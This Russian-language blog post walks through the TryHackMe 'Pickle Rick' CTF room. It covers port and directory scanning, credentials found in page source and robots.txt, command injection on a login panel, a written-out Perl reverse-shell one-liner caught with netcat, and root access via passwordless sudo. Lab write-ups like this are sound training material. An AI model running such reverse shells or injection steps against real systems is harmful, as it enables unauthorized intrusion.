Найти тему

CTF (Capture the Flag) - Rick and Morty (Pickle Rick). TryHackMe.

Здравствуйте, дорогие друзья.

Сегодня будем проходить задание CTF, с сайта TryHackMe, которое посвящено мультсериалу Рик и Морти. Наша задача: превратить Рика обратно в человека. Что он сделал до этого, нам предстоит выяснить. J

CTF состоит в поиске 3-х ингридиентов, которые размещены в отдельных полях на сайте:

Первое, что нам необходимо сделать – это подключиться к машине. Есть два пути подключения – это через vpn на Linux, либо через облако сервиса. Что выбирать, решать Вам. Я буду работать в облаке, чтобы было более понятнее новичкам. К слову сказать, задание категории «Easy», но его нельзя не обойти стороной.

Для начала просканируем ip-адрес на наличие открытых портов, с помощью инструмента nmap. Команда выглядит как: sudo nmap -sV -A 10.10.154.244:

-2

Открытые порты я выделил для более подробного рассмотрения.

80 порт открыт, и мы можем перейти по айпи в браузере. Получаем вывод следующей страницы:

-3

Сразу проверим исходный код странички. Правая клавиша мыши, и выбираем «View Page Source»:

-4
-5

Уже что-то нашли! Это имя пользователя: «RickRul3s», которое нам пригодится в прохождении.

Далее, я воспользуюсь инструментом gobuster, для более подробного рассмотрения сайта, на предмет дополнительных путей расположения страничек. Команда для ввода: gobuster dir -u http://10.10.154.244/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:

-6

Далеко ходить не надо, и проверим первую директорию из списка работы сканера. Это assets/:

-7

В целом, для нас ничего интересного. Скрипты и стандартные библиотеки, такие как jquery, и bootstrap.

Проверим файл «robots.txt»:

-8

Похоже на пароль (сохраним его для дальнейшего развития событий).

По логике вещей, предположим, что есть страница для ввода логина и пароля. Это может быть: index.html, index.php, login.php, login.html и т.д.

После некоторого времени перебора, я наткнулся на рабочую страницу «login.php»:

-9

Имя и пароль мы обнаружили, и не будем затягивать. Пройдем авторизацию на странице:

-10

Получаем вот такую панель:

-11

Идем опять же в исходники данной страницы, и получаем:

-12

Интересна кодировка «base64», которую я выделил для наглядности. Продолжаем дальше изучать.

Можно перейти по скриптам на php, выше в исходниках страницы, но мы попадем на картинку с небольшим описанием.

Попробуем проверить страницу на наличие уязвимости «Command Execution», введя простую команду «ls»:

-13

Отлично. Все работает. Поковыряем, где мы находимся сейчас, с помощью команды «pwd»:

-14

В предыдущем выводе, мы получили какие-то текстовые файлы, которые нам просто необходимо открыть. Проверим одну из записей, с помощью команды «cat»:

-15

Сразу приходит мысль об обратном соединении, для того чтобы открыть файл на нашем хосте. Идем в гугл, и ищем готовый скрипт для reverse shell:

-16

Можно выбрать любой, но мы остановимся на шелле, который написан на Perl: perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Вставляем его в строку для ввода команд, и прописываем наш айпи адрес (проверить можно с помощью команды «ifconfig») и порт:

-17

Порт я указал «4545», и прослушивать его мы будем с помощью инструмента «netcat». Команда: nc –lvp 4545.

-18

Отлично. Получили шелл. Сразу проверяем, под каким пользователем мы находимся. Это команда «id»:

-19

Проверим содержимое текущей директории, с помощью команды «ls»:

-20

По новой возвращаемся к файлу «clue.txt»:

-21

Ничего интересного. Внимание привлекает файл «Sup3rS3cretPickl3Ingred.txt». Выводим его содержимое:

-22

Похоже на первый флаг. Пробуем сдать его:

-23

Отлично. Первый ингредиент найден.

Идем дальше, и попробуем повысить права до рута. Идем в директорию «/home», далее перейдя в директорию «rick» мы находим второй ингредиент:

-24

Попробуем открыть этот файл. Команда: «cat “second ingredients”»:

-25

Пробуем сдавать второй флаг:

-26

Отлично, остался последний.

Как я говорил, нужно попробовать повысить права до root. Посмотрим настройки учетных записей, с помощью команды: «sudo -l»:

-27

Получаем, что пароли вообще не нужны. Такое редко встречается, но сложность соответствующая. Пробуем команду: «sudo su»:

-28

Итак, мы получили рут доступ.

Переходим в директорию «/root», проверяем содержимое каталога:

-29

Привлекает внимание третий файл «3 rd.txt». Выводим содержимое файла, с помощью команды «cat»:

-30

Получаем третий ингредиент. Сдаем флаг:

-31

Прекрасно! Мы завершили прохождение данной задачи CTF.

На этом все. Всем хорошего дня!